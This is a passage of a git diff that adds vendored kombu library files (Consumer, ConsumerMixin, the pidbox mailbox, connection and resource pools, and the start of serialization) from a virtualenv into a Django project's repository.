untrusted content type. + #: By default all content-types are accepted, but not if + #: :func:`kombu.disable_untrusted_serializers` was called, + #: in which case only json is allowed. + accept = None + + #: Initial prefetch count + #: + #: If set, the consumer will set the prefetch_count QoS value at startup. + #: Can also be changed using :meth:`qos`. + prefetch_count = None + + #: Mapping of queues we consume from. + _queues = None + + _tags = count(1) # global + + def __init__(self, channel, queues=None, no_ack=None, auto_declare=None, + callbacks=None, on_decode_error=None, on_message=None, + accept=None, prefetch_count=None, tag_prefix=None): + self.channel = channel + self.queues = maybe_list(queues or []) + self.no_ack = self.no_ack if no_ack is None else no_ack + self.callbacks = (self.callbacks or [] if callbacks is None + else callbacks) + self.on_message = on_message + self.tag_prefix = tag_prefix + self._active_tags = {} + if auto_declare is not None: + self.auto_declare = auto_declare + if on_decode_error is not None: + self.on_decode_error = on_decode_error + self.accept = prepare_accept_content(accept) + self.prefetch_count = prefetch_count + + if self.channel: + self.revive(self.channel) + + @property + def queues(self): + return list(self._queues.values()) + + @queues.setter + def queues(self, queues): + self._queues = {q.name: q for q in queues} + + def revive(self, channel): + """Revive consumer after connection loss.""" + self._active_tags.clear() + channel = self.channel = maybe_channel(channel) + # modify dict size while iterating over it is not allowed + for qname, queue in list(self._queues.items()): + # name may have changed after declare + self._queues.pop(qname, None) + queue = self._queues[queue.name] = queue(self.channel) + queue.revive(channel) + + if self.auto_declare: + self.declare() + + if self.prefetch_count is not None: + self.qos(prefetch_count=self.prefetch_count) + + def declare(self): + """Declare queues, exchanges and bindings. + + Note: + This is done automatically at instantiation + when :attr:`auto_declare` is set. + """ + for queue in self._queues.values(): + queue.declare() + + def register_callback(self, callback): + """Register a new callback to be called when a message is received. + + Note: + The signature of the callback needs to accept two arguments: + `(body, message)`, which is the decoded message body + and the :class:`~kombu.Message` instance. + """ + self.callbacks.append(callback) + + def __enter__(self): + self.consume() + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + if self.channel and self.channel.connection: + conn_errors = self.channel.connection.client.connection_errors + if not isinstance(exc_val, conn_errors): + try: + self.cancel() + except Exception: + pass + + def add_queue(self, queue): + """Add a queue to the list of queues to consume from. + + Note: + This will not start consuming from the queue, + for that you will have to call :meth:`consume` after. + """ + queue = queue(self.channel) + if self.auto_declare: + queue.declare() + self._queues[queue.name] = queue + return queue + + def consume(self, no_ack=None): + """Start consuming messages. + + Can be called multiple times, but note that while it + will consume from new queues added since the last call, + it will not cancel consuming from removed queues ( + use :meth:`cancel_by_queue`). + + Arguments: + no_ack (bool): See :attr:`no_ack`. + """ + queues = list(self._queues.values()) + if queues: + no_ack = self.no_ack if no_ack is None else no_ack + + H, T = queues[:-1], queues[-1] + for queue in H: + self._basic_consume(queue, no_ack=no_ack, nowait=True) + self._basic_consume(T, no_ack=no_ack, nowait=False) + + def cancel(self): + """End all active queue consumers. + + Note: + This does not affect already delivered messages, but it does + mean the server will not send any more messages for this consumer. + """ + cancel = self.channel.basic_cancel + for tag in self._active_tags.values(): + cancel(tag) + self._active_tags.clear() + + close = cancel + + def cancel_by_queue(self, queue): + """Cancel consumer by queue name.""" + qname = queue.name if isinstance(queue, Queue) else queue + try: + tag = self._active_tags.pop(qname) + except KeyError: + pass + else: + self.channel.basic_cancel(tag) + finally: + self._queues.pop(qname, None) + + def consuming_from(self, queue): + """Return :const:`True` if currently consuming from queue'.""" + name = queue + if isinstance(queue, Queue): + name = queue.name + return name in self._active_tags + + def purge(self): + """Purge messages from all queues. + + Warning: + This will *delete all ready messages*, there is no undo operation. + """ + return sum(queue.purge() for queue in self._queues.values()) + + def flow(self, active): + """Enable/disable flow from peer. + + This is a simple flow-control mechanism that a peer can use + to avoid overflowing its queues or otherwise finding itself + receiving more messages than it can process. + + The peer that receives a request to stop sending content + will finish sending the current content (if any), and then wait + until flow is reactivated. + """ + self.channel.flow(active) + + def qos(self, prefetch_size=0, prefetch_count=0, apply_global=False): + """Specify quality of service. + + The client can request that messages should be sent in + advance so that when the client finishes processing a message, + the following message is already held locally, rather than needing + to be sent down the channel. Prefetching gives a performance + improvement. + + The prefetch window is Ignored if the :attr:`no_ack` option is set. + + Arguments: + prefetch_size (int): Specify the prefetch window in octets. + The server will send a message in advance if it is equal to + or smaller in size than the available prefetch size (and + also falls within other prefetch limits). May be set to zero, + meaning "no specific limit", although other prefetch limits + may still apply. + + prefetch_count (int): Specify the prefetch window in terms of + whole messages. + + apply_global (bool): Apply new settings globally on all channels. + """ + return self.channel.basic_qos(prefetch_size, + prefetch_count, + apply_global) + + def recover(self, requeue=False): + """Redeliver unacknowledged messages. + + Asks the broker to redeliver all unacknowledged messages + on the specified channel. + + Arguments: + requeue (bool): By default the messages will be redelivered + to the original recipient. With `requeue` set to true, the + server will attempt to requeue the message, potentially then + delivering it to an alternative subscriber. + """ + return self.channel.basic_recover(requeue=requeue) + + def receive(self, body, message): + """Method called when a message is received. + + This dispatches to the registered :attr:`callbacks`. + + Arguments: + body (Any): The decoded message body. + message (~kombu.Message): The message instance. + + Raises: + NotImplementedError: If no consumer callbacks have been + registered. + """ + callbacks = self.callbacks + if not callbacks: + raise NotImplementedError('Consumer does not have any callbacks') + [callback(body, message) for callback in callbacks] + + def _basic_consume(self, queue, consumer_tag=None, + no_ack=no_ack, nowait=True): + tag = self._active_tags.get(queue.name) + if tag is None: + tag = self._add_tag(queue, consumer_tag) + queue.consume(tag, self._receive_callback, + no_ack=no_ack, nowait=nowait) + return tag + + def _add_tag(self, queue, consumer_tag=None): + tag = consumer_tag or '{}{}'.format( + self.tag_prefix, next(self._tags)) + self._active_tags[queue.name] = tag + return tag + + def _receive_callback(self, message): + accept = self.accept + on_m, channel, decoded = self.on_message, self.channel, None + try: + m2p = getattr(channel, 'message_to_python', None) + if m2p: + message = m2p(message) + if accept is not None: + message.accept = accept + if message.errors: + return message._reraise_error(self.on_decode_error) + decoded = None if on_m else message.decode() + except Exception as exc: + if not self.on_decode_error: + raise + self.on_decode_error(message, exc) + else: + return on_m(message) if on_m else self.receive(decoded, message) + + def __repr__(self): + return f'<{type(self).__name__}: {self.queues}>' + + @property + def connection(self): + try: + return self.channel.connection.client + except AttributeError: + pass diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/mixins.py b/django_lottopy/lib/python3.10/site-packages/kombu/mixins.py new file mode 100644 index 00000000..b87e4b92 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/mixins.py @@ -0,0 +1,299 @@ +"""Mixins.""" + +import socket +from contextlib import contextmanager +from functools import partial +from itertools import count +from time import sleep + +from .common import ignore_errors +from .log import get_logger +from .messaging import Consumer, Producer +from .utils.compat import nested +from .utils.encoding import safe_repr +from .utils.limits import TokenBucket +from .utils.objects import cached_property + +__all__ = ('ConsumerMixin', 'ConsumerProducerMixin') + +logger = get_logger(__name__) +debug, info, warn, error = ( + logger.debug, + logger.info, + logger.warning, + logger.error +) + +W_CONN_LOST = """\ +Connection to broker lost, trying to re-establish connection...\ +""" + +W_CONN_ERROR = """\ +Broker connection error, trying again in %s seconds: %r.\ +""" + + +class ConsumerMixin: + """Convenience mixin for implementing consumer programs. + + It can be used outside of threads, with threads, or greenthreads + (eventlet/gevent) too. + + The basic class would need a :attr:`connection` attribute + which must be a :class:`~kombu.Connection` instance, + and define a :meth:`get_consumers` method that returns a list + of :class:`kombu.Consumer` instances to use. + Supporting multiple consumers is important so that multiple + channels can be used for different QoS requirements. + + Example: + .. code-block:: python + + class Worker(ConsumerMixin): + task_queue = Queue('tasks', Exchange('tasks'), 'tasks') + + def __init__(self, connection): + self.connection = None + + def get_consumers(self, Consumer, channel): + return [Consumer(queues=[self.task_queue], + callbacks=[self.on_task])] + + def on_task(self, body, message): + print('Got task: {0!r}'.format(body)) + message.ack() + + Methods: + + * :meth:`extra_context` + + Optional extra context manager that will be entered + after the connection and consumers have been set up. + + Takes arguments ``(connection, channel)``. + + * :meth:`on_connection_error` + + Handler called if the connection is lost/ or + is unavailable. + + Takes arguments ``(exc, interval)``, where interval + is the time in seconds when the connection will be retried. + + The default handler will log the exception. + + * :meth:`on_connection_revived` + + Handler called as soon as the connection is re-established + after connection failure. + + Takes no arguments. + + * :meth:`on_consume_ready` + + Handler called when the consumer is ready to accept + messages. + + Takes arguments ``(connection, channel, consumers)``. + Also keyword arguments to ``consume`` are forwarded + to this handler. + + * :meth:`on_consume_end` + + Handler called after the consumers are canceled. + Takes arguments ``(connection, channel)``. + + * :meth:`on_iteration` + + Handler called for every iteration while draining + events. + + Takes no arguments. + + * :meth:`on_decode_error` + + Handler called if a consumer was unable to decode + the body of a message. + + Takes arguments ``(message, exc)`` where message is the + original message object. + + The default handler will log the error and + acknowledge the message, so if you override make + sure to call super, or perform these steps yourself. + + """ + + #: maximum number of retries trying to re-establish the connection, + #: if the connection is lost/unavailable. + connect_max_retries = None + + #: When this is set to true the consumer should stop consuming + #: and return, so that it can be joined if it is the implementation + #: of a thread. + should_stop = False + + def get_consumers(self, Consumer, channel): + raise NotImplementedError('Subclass responsibility') + + def on_connection_revived(self): + pass + + def on_consume_ready(self, connection, channel, consumers, **kwargs): + pass + + def on_consume_end(self, connection, channel): + pass + + def on_iteration(self): + pass + + def on_decode_error(self, message, exc): + error("Can't decode message body: %r (type:%r encoding:%r raw:%r')", + exc, message.content_type, message.content_encoding, + safe_repr(message.body)) + message.ack() + + def on_connection_error(self, exc, interval): + warn(W_CONN_ERROR, interval, exc, exc_info=1) + + @contextmanager + def extra_context(self, connection, channel): + yield + + def run(self, _tokens=1, **kwargs): + restart_limit = self.restart_limit + errors = (self.connection.connection_errors + + self.connection.channel_errors) + while not self.should_stop: + try: + if restart_limit.can_consume(_tokens): # pragma: no cover + for _ in self.consume(limit=None, **kwargs): + pass + else: + sleep(restart_limit.expected_time(_tokens)) + except errors: + warn(W_CONN_LOST, exc_info=1) + + @contextmanager + def consumer_context(self, **kwargs): + with self.Consumer() as (connection, channel, consumers): + with self.extra_context(connection, channel): + self.on_consume_ready(connection, channel, consumers, **kwargs) + yield connection, channel, consumers + + def consume(self, limit=None, timeout=None, safety_interval=1, **kwargs): + elapsed = 0 + with self.consumer_context(**kwargs) as (conn, channel, consumers): + for i in limit and range(limit) or count(): + if self.should_stop: + break + self.on_iteration() + try: + conn.drain_events(timeout=safety_interval) + except socket.timeout: + conn.heartbeat_check() + elapsed += safety_interval + if timeout and elapsed >= timeout: + raise + except OSError: + if not self.should_stop: + raise + else: + yield + elapsed = 0 + debug('consume exiting') + + def maybe_conn_error(self, fun): + """Use :func:`kombu.common.ignore_errors` instead.""" + return ignore_errors(self, fun) + + def create_connection(self): + return self.connection.clone() + + @contextmanager + def establish_connection(self): + with self.create_connection() as conn: + conn.ensure_connection(self.on_connection_error, + self.connect_max_retries) + yield conn + + @contextmanager + def Consumer(self): + with self.establish_connection() as conn: + self.on_connection_revived() + info('Connected to %s', conn.as_uri()) + channel = conn.default_channel + cls = partial(Consumer, channel, + on_decode_error=self.on_decode_error) + with self._consume_from(*self.get_consumers(cls, channel)) as c: + yield conn, channel, c + debug('Consumers canceled') + self.on_consume_end(conn, channel) + debug('Connection closed') + + def _consume_from(self, *consumers): + return nested(*consumers) + + @cached_property + def restart_limit(self): + return TokenBucket(1) + + @cached_property + def connection_errors(self): + return self.connection.connection_errors + + @cached_property + def channel_errors(self): + return self.connection.channel_errors + + +class ConsumerProducerMixin(ConsumerMixin): + """Consumer and Producer mixin. + + Version of ConsumerMixin having separate connection for also + publishing messages. + + Example: + .. code-block:: python + + class Worker(ConsumerProducerMixin): + + def __init__(self, connection): + self.connection = connection + + def get_consumers(self, Consumer, channel): + return [Consumer(queues=Queue('foo'), + on_message=self.handle_message, + accept='application/json', + prefetch_count=10)] + + def handle_message(self, message): + self.producer.publish( + {'message': 'hello to you'}, + exchange='', + routing_key=message.properties['reply_to'], + correlation_id=message.properties['correlation_id'], + retry=True, + ) + """ + + _producer_connection = None + + def on_consume_end(self, connection, channel): + if self._producer_connection is not None: + self._producer_connection.close() + self._producer_connection = None + + @property + def producer(self): + return Producer(self.producer_connection) + + @property + def producer_connection(self): + if self._producer_connection is None: + conn = self.connection.clone() + conn.ensure_connection(self.on_connection_error, + self.connect_max_retries) + self._producer_connection = conn + return self._producer_connection diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/pidbox.py b/django_lottopy/lib/python3.10/site-packages/kombu/pidbox.py new file mode 100644 index 00000000..7649736a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/pidbox.py @@ -0,0 +1,411 @@ +"""Generic process mailbox.""" + +import socket +import warnings +from collections import defaultdict, deque +from contextlib import contextmanager +from copy import copy +from itertools import count +from time import time + +from . import Consumer, Exchange, Producer, Queue +from .clocks import LamportClock +from .common import maybe_declare, oid_from +from .exceptions import InconsistencyError +from .log import get_logger +from .matcher import match +from .utils.functional import maybe_evaluate, reprcall +from .utils.objects import cached_property +from .utils.uuid import uuid + +REPLY_QUEUE_EXPIRES = 10 + +W_PIDBOX_IN_USE = """\ +A node named {node.hostname} is already using this process mailbox! + +Maybe you forgot to shutdown the other node or did not do so properly? +Or if you meant to start multiple nodes on the same host please make sure +you give each node a unique node name! +""" + +__all__ = ('Node', 'Mailbox') +logger = get_logger(__name__) +debug, error = logger.debug, logger.error + + +class Node: + """Mailbox node.""" + + #: hostname of the node. + hostname = None + + #: the :class:`Mailbox` this is a node for. + mailbox = None + + #: map of method name/handlers. + handlers = None + + #: current context (passed on to handlers) + state = None + + #: current channel. + channel = None + + def __init__(self, hostname, state=None, channel=None, + handlers=None, mailbox=None): + self.channel = channel + self.mailbox = mailbox + self.hostname = hostname + self.state = state + self.adjust_clock = self.mailbox.clock.adjust + if handlers is None: + handlers = {} + self.handlers = handlers + + def Consumer(self, channel=None, no_ack=True, accept=None, **options): + queue = self.mailbox.get_queue(self.hostname) + + def verify_exclusive(name, messages, consumers): + if consumers: + warnings.warn(W_PIDBOX_IN_USE.format(node=self)) + queue.on_declared = verify_exclusive + + return Consumer( + channel or self.channel, [queue], no_ack=no_ack, + accept=self.mailbox.accept if accept is None else accept, + **options + ) + + def handler(self, fun): + self.handlers[fun.__name__] = fun + return fun + + def on_decode_error(self, message, exc): + error('Cannot decode message: %r', exc, exc_info=1) + + def listen(self, channel=None, callback=None): + consumer = self.Consumer(channel=channel, + callbacks=[callback or self.handle_message], + on_decode_error=self.on_decode_error) + consumer.consume() + return consumer + + def dispatch(self, method, arguments=None, + reply_to=None, ticket=None, **kwargs): + arguments = arguments or {} + debug('pidbox received method %s [reply_to:%s ticket:%s]', + reprcall(method, (), kwargs=arguments), reply_to, ticket) + handle = reply_to and self.handle_call or self.handle_cast + try: + reply = handle(method, arguments) + except SystemExit: + raise + except Exception as exc: + error('pidbox command error: %r', exc, exc_info=1) + reply = {'error': repr(exc)} + + if reply_to: + self.reply({self.hostname: reply}, + exchange=reply_to['exchange'], + routing_key=reply_to['routing_key'], + ticket=ticket) + return reply + + def handle(self, method, arguments=None): + arguments = {} if not arguments else arguments + return self.handlers[method](self.state, **arguments) + + def handle_call(self, method, arguments): + return self.handle(method, arguments) + + def handle_cast(self, method, arguments): + return self.handle(method, arguments) + + def handle_message(self, body, message=None): + destination = body.get('destination') + pattern = body.get('pattern') + matcher = body.get('matcher') + if message: + self.adjust_clock(message.headers.get('clock') or 0) + hostname = self.hostname + run_dispatch = False + if destination: + if hostname in destination: + run_dispatch = True + elif pattern and matcher: + if match(hostname, pattern, matcher): + run_dispatch = True + else: + run_dispatch = True + if run_dispatch: + return self.dispatch(**body) + dispatch_from_message = handle_message + + def reply(self, data, exchange, routing_key, ticket, **kwargs): + self.mailbox._publish_reply(data, exchange, routing_key, ticket, + channel=self.channel, + serializer=self.mailbox.serializer) + + +class Mailbox: + """Process Mailbox.""" + + node_cls = Node + exchange_fmt = '%s.pidbox' + reply_exchange_fmt = 'reply.%s.pidbox' + + #: Name of application. + namespace = None + + #: Connection (if bound). + connection = None + + #: Exchange type (usually direct, or fanout for broadcast). + type = 'direct' + + #: mailbox exchange (init by constructor). + exchange = None + + #: exchange to send replies to. + reply_exchange = None + + #: Only accepts json messages by default. + accept = ['json'] + + #: Message serializer + serializer = None + + def __init__(self, namespace, + type='direct', connection=None, clock=None, + accept=None, serializer=None, producer_pool=None, + queue_ttl=None, queue_expires=None, + reply_queue_ttl=None, reply_queue_expires=10.0): + self.namespace = namespace + self.connection = connection + self.type = type + self.clock = LamportClock() if clock is None else clock + self.exchange = self._get_exchange(self.namespace, self.type) + self.reply_exchange = self._get_reply_exchange(self.namespace) + self.unclaimed = defaultdict(deque) + self.accept = self.accept if accept is None else accept + self.serializer = self.serializer if serializer is None else serializer + self.queue_ttl = queue_ttl + self.queue_expires = queue_expires + self.reply_queue_ttl = reply_queue_ttl + self.reply_queue_expires = reply_queue_expires + self._producer_pool = producer_pool + + def __call__(self, connection): + bound = copy(self) + bound.connection = connection + return bound + + def Node(self, hostname=None, state=None, channel=None, handlers=None): + hostname = hostname or socket.gethostname() + return self.node_cls(hostname, state, channel, handlers, mailbox=self) + + def call(self, destination, command, kwargs=None, + timeout=None, callback=None, channel=None): + kwargs = {} if not kwargs else kwargs + return self._broadcast(command, kwargs, destination, + reply=True, timeout=timeout, + callback=callback, + channel=channel) + + def cast(self, destination, command, kwargs=None): + kwargs = {} if not kwargs else kwargs + return self._broadcast(command, kwargs, destination, reply=False) + + def abcast(self, command, kwargs=None): + kwargs = {} if not kwargs else kwargs + return self._broadcast(command, kwargs, reply=False) + + def multi_call(self, command, kwargs=None, timeout=1, + limit=None, callback=None, channel=None): + kwargs = {} if not kwargs else kwargs + return self._broadcast(command, kwargs, reply=True, + timeout=timeout, limit=limit, + callback=callback, + channel=channel) + + def get_reply_queue(self): + oid = self.oid + return Queue( + f'{oid}.{self.reply_exchange.name}', + exchange=self.reply_exchange, + routing_key=oid, + durable=False, + auto_delete=True, + expires=self.reply_queue_expires, + message_ttl=self.reply_queue_ttl, + ) + + @cached_property + def reply_queue(self): + return self.get_reply_queue() + + def get_queue(self, hostname): + return Queue( + f'{hostname}.{self.namespace}.pidbox', + exchange=self.exchange, + durable=False, + auto_delete=True, + expires=self.queue_expires, + message_ttl=self.queue_ttl, + ) + + @contextmanager + def producer_or_acquire(self, producer=None, channel=None): + if producer: + yield producer + elif self.producer_pool: + with self.producer_pool.acquire() as producer: + yield producer + else: + yield Producer(channel, auto_declare=False) + + def _publish_reply(self, reply, exchange, routing_key, ticket, + channel=None, producer=None, **opts): + chan = channel or self.connection.default_channel + exchange = Exchange(exchange, exchange_type='direct', + delivery_mode='transient', + durable=False) + with self.producer_or_acquire(producer, chan) as producer: + try: + producer.publish( + reply, exchange=exchange, routing_key=routing_key, + declare=[exchange], headers={ + 'ticket': ticket, 'clock': self.clock.forward(), + }, retry=True, + **opts + ) + except InconsistencyError: + # queue probably deleted and no one is expecting a reply. + pass + + def _publish(self, type, arguments, destination=None, + reply_ticket=None, channel=None, timeout=None, + serializer=None, producer=None, pattern=None, matcher=None): + message = {'method': type, + 'arguments': arguments, + 'destination': destination, + 'pattern': pattern, + 'matcher': matcher} + chan = channel or self.connection.default_channel + exchange = self.exchange + if reply_ticket: + maybe_declare(self.reply_queue(chan)) + message.update(ticket=reply_ticket, + reply_to={'exchange': self.reply_exchange.name, + 'routing_key': self.oid}) + serializer = serializer or self.serializer + with self.producer_or_acquire(producer, chan) as producer: + producer.publish( + message, exchange=exchange.name, declare=[exchange], + headers={'clock': self.clock.forward(), + 'expires': time() + timeout if timeout else 0}, + serializer=serializer, retry=True, + ) + + def _broadcast(self, command, arguments=None, destination=None, + reply=False, timeout=1, limit=None, + callback=None, channel=None, serializer=None, + pattern=None, matcher=None): + if destination is not None and \ + not isinstance(destination, (list, tuple)): + raise ValueError( + 'destination must be a list/tuple not {}'.format( + type(destination))) + if (pattern is not None and not isinstance(pattern, str) and + matcher is not None and not isinstance(matcher, str)): + raise ValueError( + 'pattern and matcher must be ' + 'strings not {}, {}'.format(type(pattern), type(matcher)) + ) + + arguments = arguments or {} + reply_ticket = reply and uuid() or None + chan = channel or self.connection.default_channel + + # Set reply limit to number of destinations (if specified) + if limit is None and destination: + limit = destination and len(destination) or None + + serializer = serializer or self.serializer + self._publish(command, arguments, destination=destination, + reply_ticket=reply_ticket, + channel=chan, + timeout=timeout, + serializer=serializer, + pattern=pattern, + matcher=matcher) + + if reply_ticket: + return self._collect(reply_ticket, limit=limit, + timeout=timeout, + callback=callback, + channel=chan) + + def _collect(self, ticket, + limit=None, timeout=1, callback=None, + channel=None, accept=None): + if accept is None: + accept = self.accept + chan = channel or self.connection.default_channel + queue = self.reply_queue + consumer = Consumer(chan, [queue], accept=accept, no_ack=True) + responses = [] + unclaimed = self.unclaimed + adjust_clock = self.clock.adjust + + try: + return unclaimed.pop(ticket) + except KeyError: + pass + + def on_message(body, message): + # ticket header added in kombu 2.5 + header = message.headers.get + adjust_clock(header('clock') or 0) + expires = header('expires') + if expires and time() > expires: + return + this_id = header('ticket', ticket) + if this_id == ticket: + if callback: + callback(body) + responses.append(body) + else: + unclaimed[this_id].append(body) + + consumer.register_callback(on_message) + try: + with consumer: + for i in limit and range(limit) or count(): + try: + self.connection.drain_events(timeout=timeout) + except socket.timeout: + break + return responses + finally: + chan.after_reply_message_received(queue.name) + + def _get_exchange(self, namespace, type): + return Exchange(self.exchange_fmt % namespace, + type=type, + durable=False, + delivery_mode='transient') + + def _get_reply_exchange(self, namespace): + return Exchange(self.reply_exchange_fmt % namespace, + type='direct', + durable=False, + delivery_mode='transient') + + @property + def oid(self): + return oid_from(self) + + @cached_property + def producer_pool(self): + return maybe_evaluate(self._producer_pool) diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/pools.py b/django_lottopy/lib/python3.10/site-packages/kombu/pools.py new file mode 100644 index 00000000..373bc06c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/pools.py @@ -0,0 +1,150 @@ +"""Public resource pools.""" + +import os +from itertools import chain + +from .connection import Resource +from .messaging import Producer +from .utils.collections import EqualityDict +from .utils.compat import register_after_fork +from .utils.functional import lazy + +__all__ = ('ProducerPool', 'PoolGroup', 'register_group', + 'connections', 'producers', 'get_limit', 'set_limit', 'reset') +_limit = [10] +_groups = [] +use_global_limit = object() +disable_limit_protection = os.environ.get('KOMBU_DISABLE_LIMIT_PROTECTION') + + +def _after_fork_cleanup_group(group): + group.clear() + + +class ProducerPool(Resource): + """Pool of :class:`kombu.Producer` instances.""" + + Producer = Producer + close_after_fork = True + + def __init__(self, connections, *args, **kwargs): + self.connections = connections + self.Producer = kwargs.pop('Producer', None) or self.Producer + super().__init__(*args, **kwargs) + + def _acquire_connection(self): + return self.connections.acquire(block=True) + + def create_producer(self): + conn = self._acquire_connection() + try: + return self.Producer(conn) + except BaseException: + conn.release() + raise + + def new(self): + return lazy(self.create_producer) + + def setup(self): + if self.limit: + for _ in range(self.limit): + self._resource.put_nowait(self.new()) + + def close_resource(self, resource): + pass + + def prepare(self, p): + if callable(p): + p = p() + if p._channel is None: + conn = self._acquire_connection() + try: + p.revive(conn) + except BaseException: + conn.release() + raise + return p + + def release(self, resource): + if resource.__connection__: + resource.__connection__.release() + resource.channel = None + super().release(resource) + + +class PoolGroup(EqualityDict): + """Collection of resource pools.""" + + def __init__(self, limit=None, close_after_fork=True): + self.limit = limit + self.close_after_fork = close_after_fork + if self.close_after_fork and register_after_fork is not None: + register_after_fork(self, _after_fork_cleanup_group) + + def create(self, resource, limit): + raise NotImplementedError('PoolGroups must define ``create``') + + def __missing__(self, resource): + limit = self.limit + if limit is use_global_limit: + limit = get_limit() + k = self[resource] = self.create(resource, limit) + return k + + +def register_group(group): + """Register group (can be used as decorator).""" + _groups.append(group) + return group + + +class Connections(PoolGroup): + """Collection of connection pools.""" + + def create(self, connection, limit): + return connection.Pool(limit=limit) + + +connections = register_group(Connections(limit=use_global_limit)) + + +class Producers(PoolGroup): + """Collection of producer pools.""" + + def create(self, connection, limit): + return ProducerPool(connections[connection], limit=limit) + + +producers = register_group(Producers(limit=use_global_limit)) + + +def _all_pools(): + return chain(*((g.values() if g else iter([])) for g in _groups)) + + +def get_limit(): + """Get current connection pool limit.""" + return _limit[0] + + +def set_limit(limit, force=False, reset_after=False, ignore_errors=False): + """Set new connection pool limit.""" + limit = limit or 0 + glimit = _limit[0] or 0 + if limit != glimit: + _limit[0] = limit + for pool in _all_pools(): + pool.resize(limit) + return limit + + +def reset(*args, **kwargs): + """Reset all pools by closing open resources.""" + for pool in _all_pools(): + try: + pool.force_close_all() + except Exception: + pass + for group in _groups: + group.clear() diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/resource.py b/django_lottopy/lib/python3.10/site-packages/kombu/resource.py new file mode 100644 index 00000000..e3617dc4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/resource.py @@ -0,0 +1,237 @@ +"""Generic resource pool implementation.""" + +import os +from collections import deque +from queue import Empty +from queue import LifoQueue as _LifoQueue + +from . import exceptions +from .utils.compat import register_after_fork +from .utils.functional import lazy + + +def _after_fork_cleanup_resource(resource): + try: + resource.force_close_all() + except Exception: + pass + + +class LifoQueue(_LifoQueue): + """Last in first out version of Queue.""" + + def _init(self, maxsize): + self.queue = deque() + + +class Resource: + """Pool of resources.""" + + LimitExceeded = exceptions.LimitExceeded + + close_after_fork = False + + def __init__(self, limit=None, preload=None, close_after_fork=None): + self._limit = limit + self.preload = preload or 0 + self._closed = False + self.close_after_fork = ( + close_after_fork + if close_after_fork is not None else self.close_after_fork + ) + + self._resource = LifoQueue() + self._dirty = set() + if self.close_after_fork and register_after_fork is not None: + register_after_fork(self, _after_fork_cleanup_resource) + self.setup() + + def setup(self): + raise NotImplementedError('subclass responsibility') + + def _add_when_empty(self): + if self.limit and len(self._dirty) >= self.limit: + raise self.LimitExceeded(self.limit) + # All taken, put new on the queue and + # try get again, this way the first in line + # will get the resource. + self._resource.put_nowait(self.new()) + + def acquire(self, block=False, timeout=None): + """Acquire resource. + + Arguments: + block (bool): If the limit is exceeded, + then block until there is an available item. + timeout (float): Timeout to wait + if ``block`` is true. Default is :const:`None` (forever). + + Raises: + LimitExceeded: if block is false and the limit has been exceeded. + """ + if self._closed: + raise RuntimeError('Acquire on closed pool') + if self.limit: + while 1: + try: + R = self._resource.get(block=block, timeout=timeout) + except Empty: + self._add_when_empty() + else: + try: + R = self.prepare(R) + except BaseException: + if isinstance(R, lazy): + # not evaluated yet, just put it back + self._resource.put_nowait(R) + else: + # evaluted so must try to release/close first. + self.release(R) + raise + self._dirty.add(R) + break + else: + R = self.prepare(self.new()) + + def release(): + """Release resource so it can be used by another thread. + + Warnings: + The caller is responsible for discarding the object, + and to never use the resource again. A new resource must + be acquired if so needed. + """ + self.release(R) + R.release = release + + return R + + def prepare(self, resource): + return resource + + def close_resource(self, resource): + resource.close() + + def release_resource(self, resource): + pass + + def replace(self, resource): + """Replace existing resource with a new instance. + + This can be used in case of defective resources. + """ + if self.limit: + self._dirty.discard(resource) + self.close_resource(resource) + + def release(self, resource): + if self.limit: + self._dirty.discard(resource) + self._resource.put_nowait(resource) + self.release_resource(resource) + else: + self.close_resource(resource) + + def collect_resource(self, resource): + pass + + def force_close_all(self): + """Close and remove all resources in the pool (also those in use). + + Used to close resources from parent processes after fork + (e.g. sockets/connections). + """ + if self._closed: + return + self._closed = True + dirty = self._dirty + resource = self._resource + while 1: # - acquired + try: + dres = dirty.pop() + except KeyError: + break + try: + self.collect_resource(dres) + except AttributeError: # Issue #78 + pass + while 1: # - available + # deque supports '.clear', but lists do not, so for that + # reason we use pop here, so that the underlying object can + # be any object supporting '.pop' and '.append'. + try: + res = resource.queue.pop() + except IndexError: + break + try: + self.collect_resource(res) + except AttributeError: + pass # Issue #78 + + def resize(self, limit, force=False, ignore_errors=False, reset=False): + prev_limit = self._limit + if (self._dirty and 0 < limit < self._limit) and not ignore_errors: + if not force: + raise RuntimeError( + "Can't shrink pool when in use: was={} now={}".format( + self._limit, limit)) + reset = True + self._limit = limit + if reset: + try: + self.force_close_all() + except Exception: + pass + self.setup() + if limit < prev_limit: + self._shrink_down(collect=limit > 0) + + def _shrink_down(self, collect=True): + class Noop: + def __enter__(self): + pass + + def __exit__(self, type, value, traceback): + pass + + resource = self._resource + # Items to the left are last recently used, so we remove those first. + with getattr(resource, 'mutex', Noop()): + while len(resource.queue) > self.limit: + R = resource.queue.popleft() + if collect: + self.collect_resource(R) + + @property + def limit(self): + return self._limit + + @limit.setter + def limit(self, limit): + self.resize(limit) + + if os.environ.get('KOMBU_DEBUG_POOL'): # pragma: no cover + _orig_acquire = acquire + _orig_release = release + + _next_resource_id = 0 + + def acquire(self, *args, **kwargs): + import traceback + id = self._next_resource_id = self._next_resource_id + 1 + print(f'+{id} ACQUIRE {self.__class__.__name__}') + r = self._orig_acquire(*args, **kwargs) + r._resource_id = id + print(f'-{id} ACQUIRE {self.__class__.__name__}') + if not hasattr(r, 'acquired_by'): + r.acquired_by = [] + r.acquired_by.append(traceback.format_stack()) + return r + + def release(self, resource): + id = resource._resource_id + print(f'+{id} RELEASE {self.__class__.__name__}') + r = self._orig_release(resource) + print(f'-{id} RELEASE {self.__class__.__name__}') + self._next_resource_id -= 1 + return r diff --git a/django_lottopy/lib/python3.10/site-packages/kombu/serialization.py b/django_lottopy/lib/python3.10/site-packages/kombu/serialization.py new file mode 100644 index 00000000..58c28717 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/kombu/serialization.py @@ -0,0 +1,458 @@ +"""Serialization utilities.""" + +import codecs +import os +import pickle +import sys +from collections import namedtuple +from contextlib import contextmanager +from io import BytesIO + +from .exceptions import (ContentDisallowed, DecodeError, EncodeError, + SerializerNotInstalled, reraise) +from .utils.compat 